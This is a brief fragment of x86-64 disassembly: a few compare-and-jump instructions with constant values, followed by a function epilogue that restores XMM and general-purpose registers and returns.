imul ecx, eax
test cl, 1
mov eax, 0x83d64b63
mov ecx, 0xa4dc90a7
jmp 0x1404ac530
cmp eax, 0x1d83b48
jne 0x1404ac53d
movaps xmm6, xmmword [rbp + 0x340]
movaps xmm7, xmmword [rbp + 0x350]
movaps xmm8, xmmword [rbp + 0x360]
movaps xmm9, xmmword [rbp + 0x370]
movaps xmm10, xmmword [rbp + 0x380]
movaps xmm11, xmmword [rbp + 0x390]
movaps xmm12, xmmword [rbp + 0x3a0]
lea rsp, [rbp + 0x3b8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret